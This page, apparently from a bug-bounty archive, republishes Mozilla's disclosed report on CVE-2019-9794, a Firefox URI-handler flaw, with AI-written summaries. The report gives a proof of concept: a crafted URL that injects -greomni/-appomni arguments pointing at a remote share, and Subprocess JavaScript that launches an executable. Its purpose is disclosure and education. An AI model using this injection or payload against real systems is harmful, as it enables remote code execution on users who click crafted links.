Skip to content
RCE Disclosed report Advanced CVE-2019-9794

URI handler Remote Code Execution via command line parameter injection in Firefox

Firefox's URI handler accepted injected command-line arguments (greomni and appomni) that specify the location of omni.ja files, allowing an attacker to load malicious archives from a network share. This could lead to remote code execution when a crafted URL is clicked in applications like Outlook or Office that do not URL-encode the hash segment.

Joshua Graham Follow

Originally disclosed on Mozilla

  • Fixed in 5 days
  • Paid in 9 days
  • Disclosed after 5 days
Text
Tested on Microsoft Windows 10 Enterprise version 10.0.17134 Build 17134

Using Firefox Quantum version 65.0.1 (64-bit)

Steps to reproduce:

1. Close all running instances of firefox
2. Open the run prompt (windows key + r) and run the following URL:

`https://www.tsscyber.com.au#" -greomni "\\remoteHost\omni.ja" -appomni "\\remoteHost\omni2.ja`

---

Expected Result: Firefox ignores the command as additional command line arguments are present.

Actual Result: Firefox accepts the command and attempts to retrieve ‘omni.ja’ and ‘omni2.ja’ from ‘remoteHost’. As ‘remoteHost’ likely doesn’t resolve to an IP, firefox crashes and ‘crashreporter.exe’ is run. 

---

Detailed Information:

A malicious user can craft URIs in third party applications (tested using MS Outlook and MS Office) that can result in Remote Code Execution when Firefox is installed and configured as the default URI handler for a given URI scheme (e.g. http/https).

The ‘greomni’ and ‘appomni’ command line arguments are accepted via the URI handler command. These flags are used to specify the location of the ‘omni.ja’ file. An attacker can specify a network location for the ‘greomni’ and ‘appomni’ arguments to force Firefox to load malicious ‘omni.ja’ files. Some information about the 'omni.ja' files can be found here: https://developer.mozilla.org/en-US/docs/Mozilla/About_omni.ja_(formerly_omni.jar) 

The shell command for HTTP URI’s is specified in the windows registry in an entry similar to:
Computer\HKEY_CLASSES_ROOT\FirefoxHTML-308046B0AF4A39CB\shell\open\command

The value is:
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "%1"

When the example malicious URL above is clicked, the command becomes:
`"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://www.tsscyber.com.au#" -greomni "\\remoteHost\omni.ja" -appomni "\\remoteHost\omni2.ja"`

This issue can be exploited from Outlook and Office because they don’t URL Encode the hash segment of a URL making it possible to inject double quotes into the command. There are likely other programs that have similar behaviours.

The ‘osint’ flag in the command is supposed to ensure that Firefox ignores any command line arguments that have been injected via a malicious URL. The ‘osint’ flag was introduced in 2007 in response to the following bug: https://bugzilla.mozilla.org/show_bug.cgi?id=384384 

I think that the issue occurs because the ‘greomni’ and ‘appomni’ command line arguments are used to retrieve the omni.ja files before the ‘osint’ flag is checked. The  ‘greomni’ and ‘appomni’ arguments are then hidden from the ‘osint’ check because argc’s value is reduced by  two. This means that  when the ‘osint’ check is performed later, the value of argc matches the acceptable amount of command line arguments the ‘osint’ flag expects. 

This is the area of code that I think is causing the issue:
https://dxr.mozilla.org/mozilla-central/source/js/xpconnect/src/XPCShellImpl.cpp#1267

I believe this is where the ‘osint’ flag is being checked:
https://dxr.mozilla.org/mozilla-central/source/browser/components/nsBrowserContentHandler.js#648

RCE is achieved by introducing malicious code into the contents of files in the omni.ja archives. We have had limited success launching arbitrary executables by injecting the following code into .js and .jws files (for example C:\Program Files (x86)\Mozilla Firefox\browser\omni.ja’s /chrome/browser/content/browser/browser.js file).

Components.utils.import("resource://gre/modules/Subprocess.jsm")
let opt = { command: "C:\\windows\\system32\\calc.exe", arguments: [], workdir: "C:\\windows\\system32", stderr: "pipe"};
let x = Subprocess.call(opt);

Credit:
Joshua Graham of TSS & Brendan Scarvell

The original report as published on Mozilla's Bugzilla, by Joshua Graham. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the 'greomni' and 'appomni' command-line arguments are processed before the 'osint' flag check, and the argument count is reduced by two, hiding them from the later validation.

Impact

An attacker could achieve remote code execution by loading malicious omni.ja files from a network location, but the report notes limited success in launching arbitrary executables.

What the attacker needed

Firefox is the default URI handler; Victim clicks a crafted link in Outlook or Office; Attacker controls a network share

How it was found

  1. Close all running instances of Firefox.
  2. Open the Windows Run prompt and enter a crafted URL that includes injected command-line arguments.
  3. Firefox processes the injected arguments and attempts to retrieve omni.ja files from a remote host.
  4. If the remote host does not resolve, Firefox crashes and the crash reporter runs.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you click a link, Windows passes the URL to Firefox as a command-line argument. Firefox has a safety flag called 'osint' that is supposed to ignore any extra arguments sneaked in through the URL. This report shows that two special arguments, 'greomni' and 'appomni', are processed before that safety check, so an attacker can make Firefox load code from a remote file and run it.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by Joshua Graham

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.